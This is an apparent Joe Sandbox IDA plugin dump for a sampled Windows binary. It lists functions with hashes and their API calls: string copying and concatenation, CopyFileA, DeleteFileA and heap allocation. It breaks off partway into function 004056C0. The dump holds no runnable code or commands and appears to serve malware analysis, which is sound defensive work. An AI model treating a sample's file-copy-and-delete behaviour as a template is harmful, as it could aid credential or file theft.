Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 491c114687501bc221b0df2259ddef7bc9eda2785adb7624451e0d68bf2c4f63
Instruction ID: d0e499faed6f522d2fb5aede6966e894a0390d7c8ffdf490199188f81a6dd004
Opcode Fuzzy Hash: 491c114687501bc221b0df2259ddef7bc9eda2785adb7624451e0d68bf2c4f63
Instruction Fuzzy Hash: A2F090B1940618AFCB10CF84EC45FD9F77DFB48A60F40466AF90593280D7782A04CAE5

Function 0040C010 Relevance: 135.2, APIs: 89, Instructions: 1713stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040C050
lstrlenA.KERNEL32(008097E8), ref: 0040C060
lstrcpy.KERNEL32(00000000,?), ref: 0040C09A
lstrcatA.KERNEL32(00000000,?), ref: 0040C0A2
lstrlenA.KERNEL32(00431D64), ref: 0040C0AD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C0CE
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040C0DA
lstrcpy.KERNEL32(00000000,?), ref: 0040C107
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C112
lstrlenA.KERNEL32(00809888), ref: 0040C120
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C14C
lstrcatA.KERNEL32(00000000,00809888), ref: 0040C154
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C187
lstrcpy.KERNEL32(00000000,?), ref: 0040C1C9
lstrcatA.KERNEL32(00000000,?), ref: 0040C1D1
lstrlenA.KERNEL32(00431D64), ref: 0040C1DC
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C1FD
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040C209
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C234
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C23F
lstrlenA.KERNEL32(00435170), ref: 0040C24A
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C26E
lstrcatA.KERNEL32(00000000,00435170), ref: 0040C27A
lstrcpy.KERNEL32(00000000,?), ref: 0040C2A3
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C2AE
lstrlenA.KERNEL32(00809888), ref: 0040C2BE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C2E6
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C2F2
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C325
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040C3C4
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C41B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C45B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C49B
lstrlenA.KERNEL32(00809808), ref: 0040C4A9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C4D9
lstrcatA.KERNEL32(00000000,00809808), ref: 0040C4E1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C50E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C5B2
lstrcatA.KERNEL32(00000000,?), ref: 0040C5BA
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C5E5
lstrlenA.KERNEL32(004350AC), ref: 0040C65C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C686
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040C692
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C6BE
lstrlenA.KERNEL32(00809818), ref: 0040C738
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C768
lstrcatA.KERNEL32(00000000,00809818), ref: 0040C770
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C79D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C83E
lstrcatA.KERNEL32(00000000,?), ref: 0040C846
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C871
lstrlenA.KERNEL32(004350AC), ref: 0040C8E8
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C90F
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040C91B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C947
lstrlenA.KERNEL32(00809968), ref: 0040C9C1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C9F1
lstrcatA.KERNEL32(00000000,00809968), ref: 0040C9F9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040CA26
lstrcpy.KERNEL32(00000000,00000000), ref: 0040CACA
lstrcatA.KERNEL32(00000000,?), ref: 0040CAD2
lstrcpy.KERNEL32(00000000,00000000), ref: 0040CAFD
lstrlenA.KERNEL32(004350AC), ref: 0040CB74
lstrcpy.KERNEL32(00000000,00000000), ref: 0040CB9E
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040CBAA
lstrcpy.KERNEL32(00000000,00000000), ref: 0040CBD6
lstrlenA.KERNEL32(00809A28), ref: 0040CC50
lstrcpy.KERNEL32(00000000,00000000), ref: 0040CC80
lstrcatA.KERNEL32(00000000,00809A28), ref: 0040CC88
lstrcpy.KERNEL32(00000000,00000000), ref: 0040CCB3
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040CD50
lstrcpy.KERNEL32(00000000,?), ref: 0040CDBA
lstrcpy.KERNEL32(00000000,?), ref: 0040CE09
lstrcatA.KERNEL32(00000000,00000000), ref: 0040CE13
lstrcpy.KERNEL32(00000000,00000000), ref: 0040CE3F
lstrcpy.KERNEL32(00000000,?), ref: 0040CF63
lstrcatA.KERNEL32(00000000,00000000), ref: 0040CF6F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040CF96
lstrlenA.KERNEL32(004350AC), ref: 0040D00D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D034
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040D040
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D06C
lstrlenA.KERNEL32(004350AC), ref: 0040D0E3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D107
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040D113
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D143
lstrlenA.KERNEL32(?), ref: 0040D396
lstrlenA.KERNEL32(?), ref: 0040D3A2
lstrcpy.KERNEL32(00000000,?), ref: 0040D3CC

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: e85afb190a42b02cb922bb2d39d163779b8363906080e66e56713f10911615f3
Instruction ID: 6cb1594d251fe9efecbd17e11fd19718356352b4e5a067779883adfc712cb526
Opcode Fuzzy Hash: e85afb190a42b02cb922bb2d39d163779b8363906080e66e56713f10911615f3
Instruction Fuzzy Hash: 1DE22A70A01202DFD7249F65C988A2BB7E5AF44314F18867EE409AB3E1D779DC42CF99

Function 0040A3A0 Relevance: 118.0, APIs: 78, Instructions: 1045stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040A3DE
lstrlenA.KERNEL32(00810AB0), ref: 0040A3EE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A412
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A41E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A445
lstrcpy.KERNEL32(00000000,?), ref: 0040A483
lstrcatA.KERNEL32(00000000), ref: 0040A48D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A4B8
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0040A4D5
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040A505
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040A572
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A5CB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A60B
lstrcpy.KERNEL32(00000000,?), ref: 0040A670
lstrcpy.KERNEL32(00000000,?), ref: 0040A6C0
lstrlenA.KERNEL32(00000000), ref: 0040A737
lstrlenA.KERNEL32(008109D8), ref: 0040A750
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A77E
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A78A
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A7B6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A7E6
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A7F1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A81A
lstrlenA.KERNEL32(004350AC), ref: 0040A82C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A84D
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040A859
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A882
lstrlenA.KERNEL32(008108E8), ref: 0040A899
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A8C4
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A8D0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A8FC
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A92D
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A938
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A961
lstrlenA.KERNEL32(004350AC), ref: 0040A973
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A994
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040A9A0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A9C9
lstrlenA.KERNEL32(00809918), ref: 0040A9E0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AA0B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040AA17
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AA43
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AA79
lstrcatA.KERNEL32(00000000,00000000), ref: 0040AA85
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AAB1
lstrlenA.KERNEL32(004350AC), ref: 0040AAC3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AAE7
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040AAF3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AB1F
lstrlenA.KERNEL32(008097B8), ref: 0040AB36
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AB61
lstrcatA.KERNEL32(00000000,00000000), ref: 0040AB6D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AB99
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ABCF
lstrcatA.KERNEL32(00000000,00000000), ref: 0040ABDB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AC07
lstrlenA.KERNEL32(004350AC), ref: 0040AC19
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AC3D
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040AC49
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AC75
lstrlenA.KERNEL32(00810AC8), ref: 0040AC8C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ACB7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040ACC3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ACEF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AD25
lstrcatA.KERNEL32(00000000,00000000), ref: 0040AD31
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AD5D
lstrlenA.KERNEL32(004350AC), ref: 0040AD6F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AD93
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040AD9F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ADC9
lstrlenA.KERNEL32(004350AC), ref: 0040ADDB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ADFC
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040AE08
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AE34
lstrlenA.KERNEL32(?), ref: 0040AF4B
lstrcpy.KERNEL32(00000000,?), ref: 0040AF7C
DeleteFileA.KERNEL32(00000000), ref: 0040AFEE

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$CopyDelete
String ID:
API String ID: 2613238465-0
Opcode ID: 6b55ecf56e699b463893ff5d29833df5a4022cc65df7253bb99f5821c45ba621
Instruction ID: 89daaf46c67df637bf4ed44e6ba57364e22c6b3b8033afa67ef52739c50c57f0
Opcode Fuzzy Hash: 6b55ecf56e699b463893ff5d29833df5a4022cc65df7253bb99f5821c45ba621
Instruction Fuzzy Hash: 17828B716057029FC724EF25C948A6B77E6AF84708F04853EB845A73E1DB78DC11CBAA

Function 0040A3B9 Relevance: 118.0, APIs: 78, Instructions: 1033stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040A3DE
lstrlenA.KERNEL32(00810AB0), ref: 0040A3EE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A412
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A41E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A445
lstrcpy.KERNEL32(00000000,?), ref: 0040A483
lstrcatA.KERNEL32(00000000), ref: 0040A48D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A4B8
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0040A4D5
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040A505
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040A572
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A5CB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A60B
lstrcpy.KERNEL32(00000000,?), ref: 0040A670
lstrcpy.KERNEL32(00000000,?), ref: 0040A6C0
lstrlenA.KERNEL32(00000000), ref: 0040A737
lstrlenA.KERNEL32(008109D8), ref: 0040A750
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A77E
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A78A
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A7B6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A7E6
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A7F1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A81A
lstrlenA.KERNEL32(004350AC), ref: 0040A82C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A84D
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040A859
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A882
lstrlenA.KERNEL32(008108E8), ref: 0040A899
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A8C4
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A8D0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A8FC
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A92D
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A938
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A961
lstrlenA.KERNEL32(004350AC), ref: 0040A973
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A994
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040A9A0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A9C9
lstrlenA.KERNEL32(00809918), ref: 0040A9E0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AA0B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040AA17
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AA43
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AA79
lstrcatA.KERNEL32(00000000,00000000), ref: 0040AA85
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AAB1
lstrlenA.KERNEL32(004350AC), ref: 0040AAC3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AAE7
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040AAF3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AB1F
lstrlenA.KERNEL32(008097B8), ref: 0040AB36
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AB61
lstrcatA.KERNEL32(00000000,00000000), ref: 0040AB6D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AB99
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ABCF
lstrcatA.KERNEL32(00000000,00000000), ref: 0040ABDB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AC07
lstrlenA.KERNEL32(004350AC), ref: 0040AC19
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AC3D
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040AC49
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AC75
lstrlenA.KERNEL32(00810AC8), ref: 0040AC8C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ACB7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040ACC3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ACEF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AD25
lstrcatA.KERNEL32(00000000,00000000), ref: 0040AD31
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AD5D
lstrlenA.KERNEL32(004350AC), ref: 0040AD6F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AD93
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040AD9F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ADC9
lstrlenA.KERNEL32(004350AC), ref: 0040ADDB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040ADFC
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040AE08
lstrcpy.KERNEL32(00000000,00000000), ref: 0040AE34
lstrlenA.KERNEL32(?), ref: 0040AF4B
lstrcpy.KERNEL32(00000000,?), ref: 0040AF7C
DeleteFileA.KERNEL32(00000000), ref: 0040AFEE

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$CopyDelete
String ID:
API String ID: 2613238465-0
Opcode ID: 150e9a77dba68cf86b57ced85cf2de066dd42e31b63b1d523983d36d8a8f61df
Instruction ID: 2397a8710ec74a10e0aba9ec206e1fb7b913cbb89ab4bb73a906076ef82cf5a0
Opcode Fuzzy Hash: 150e9a77dba68cf86b57ced85cf2de066dd42e31b63b1d523983d36d8a8f61df
Instruction Fuzzy Hash: 0A828B716057029FC724EF25C948A6B77E6AF84708F04853EB845A73E1DB78DC11CBAA

Function 0041F300 Relevance: 102.7, APIs: 57, Strings: 1, Instructions: 1164stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0042D01C,00000001,00000000,00000000), ref: 0041F32E
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041F34C
lstrlenA.KERNEL32(0042D01C), ref: 0041F357
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041F371
lstrlenA.KERNEL32(0042D01C), ref: 0041F37C
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041F396
lstrcpy.KERNEL32(00000000,00435574), ref: 0041F3BE
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041F3EC
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041F422
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041F454
lstrlenA.KERNEL32(00806250), ref: 0041F476
lstrcpy.KERNEL32(00000000,?), ref: 0041F506
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F52B
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F5E2
StrCmpCA.SHLWAPI(?,ERROR), ref: 0041F894
lstrlenA.KERNEL32(00809908), ref: 0041F8C2
lstrcpy.KERNEL32(00000000,00809908), ref: 0041F8EF
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F912
lstrcpy.KERNEL32(00000000,?), ref: 0041F966
lstrcpy.KERNEL32(00000000,00809908), ref: 0041FA28
lstrcpy.KERNEL32(00000000,008098C8), ref: 0041FA58
lstrcpy.KERNEL32(00000000,?), ref: 0041FAB7
StrCmpCA.SHLWAPI(?,ERROR), ref: 0041FBD5
lstrlenA.KERNEL32(00809778), ref: 0041FC03
lstrcpy.KERNEL32(00000000,00809778), ref: 0041FC30
lstrcpy.KERNEL32(00000000,00000000), ref: 0041FC53
lstrcpy.KERNEL32(00000000,?), ref: 0041FCA7

Strings

ERROR, xrefs: 0041F788, 0041F88E, 0041FB30, 0041FBCF, 0041FE70, 0041FF0F

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: ERROR
API String ID: 367037083-2861137601
Opcode ID: 1f0735712560e10e62d67b91a64267bf611f5d65c1b98c036dfaf6adb400f375
Instruction ID: 9e13f92c6ccc16a5f405b2d9a15516225f3a22c948f8b51b588b95c0e8365961
Opcode Fuzzy Hash: 1f0735712560e10e62d67b91a64267bf611f5d65c1b98c036dfaf6adb400f375
Instruction Fuzzy Hash: 47A26D70A017028FC720DF25D948A5BBBE5AF44304F18857EE8499B3A1DB79DC86CF99

Function 0040F990 Relevance: 101.5, APIs: 67, Instructions: 1017stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040F9CE
lstrlenA.KERNEL32(00810AB0), ref: 0040F9DD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA00
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FA0B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA31
lstrcpy.KERNEL32(00000000,?), ref: 0040FA72
lstrcatA.KERNEL32(00000000), ref: 0040FA7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FAA5
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0040FAC4
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040FAF4
lstrlenA.KERNEL32(008098B8), ref: 0040FB03
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FB2B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FB36
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FB5F
lstrlenA.KERNEL32(00431D64), ref: 0040FB71
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FB93
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040FB9F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FBC8
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FBF7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FC02
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC29
lstrlenA.KERNEL32(00435170), ref: 0040FC3B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC5D
lstrcatA.KERNEL32(00000000,00435170), ref: 0040FC69
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC94
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FCC1
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FCCC
lstrlenA.KERNEL32(00809888), ref: 0040FCDA
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FCFE
lstrcatA.KERNEL32(00000000,00809888), ref: 0040FD06
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FD31
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040FD87
RtlAllocateHeap.NTDLL(00000000), ref: 0040FD8E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FDDD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FE16
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FE49
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FE7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FEB6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FEE9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FF1B
StrCmpCA.SHLWAPI(?,004352B8), ref: 0040FF2A
lstrlenA.KERNEL32(00809898), ref: 0040FF3C
lstrlenA.KERNEL32(008098D8), ref: 0040FF71
lstrcpy.KERNEL32(00000000,008098D8), ref: 0040FF9E
StrCmpCA.SHLWAPI(?,004352B8), ref: 0040FFAD
lstrlenA.KERNEL32(00809898), ref: 0040FFBF
lstrlenA.KERNEL32(008098D8), ref: 0040FFF4
lstrcpy.KERNEL32(00000000,008098D8), ref: 00410021
lstrcatA.KERNEL32(?,?), ref: 0041002F
lstrcatA.KERNEL32(?,004352BC), ref: 0041003E
lstrcatA.KERNEL32(?,00000000), ref: 0041004C
lstrcatA.KERNEL32(?,004352BC), ref: 0041005B
lstrcatA.KERNEL32(?,?), ref: 00410069
lstrcatA.KERNEL32(?,004352BC), ref: 00410078
lstrcatA.KERNEL32(?,00000000), ref: 00410086
lstrcatA.KERNEL32(?,004352BC), ref: 00410095
lstrcatA.KERNEL32(?,?), ref: 004100A3
lstrcatA.KERNEL32(?,004352BC), ref: 004100B2
lstrcatA.KERNEL32(?,?), ref: 004100C0
lstrcatA.KERNEL32(?,004352BC), ref: 004100CF
lstrcatA.KERNEL32(?,00000000), ref: 004100DA
lstrcatA.KERNEL32(?,004350AC), ref: 004100E9
lstrlenA.KERNEL32(?), ref: 00410408
lstrlenA.KERNEL32(?), ref: 00410417
lstrcpy.KERNEL32(00000000,00000000), ref: 00410444
memset.MSVCRT ref: 0041047C
DeleteFileA.KERNEL32(?), ref: 004104A6

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeap$AllocateCopyDeleteProcessmemset
String ID:
API String ID: 1332541768-0
Opcode ID: 5ab9ca42b072a90c3b8f5e275c2298e88392086384215aa5d978ed3e673ec6e2
Instruction ID: bda127bbebb75f2edda4a47b778488b492a0834d88a14bb678179dde9dd5cbe0
Opcode Fuzzy Hash: 5ab9ca42b072a90c3b8f5e275c2298e88392086384215aa5d978ed3e673ec6e2
Instruction Fuzzy Hash: B2825071A012059FCB24DF65C948A9BB7B5AF44304F18817EE809E73A1DBB9DD81CFA4

Function 004056C0 Relevance: 98.7, APIs: 51, Strings: 5, Instructions: 734
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,?), ref: 004056EF
lstrlenA.KERNEL32(?), ref: 00405742
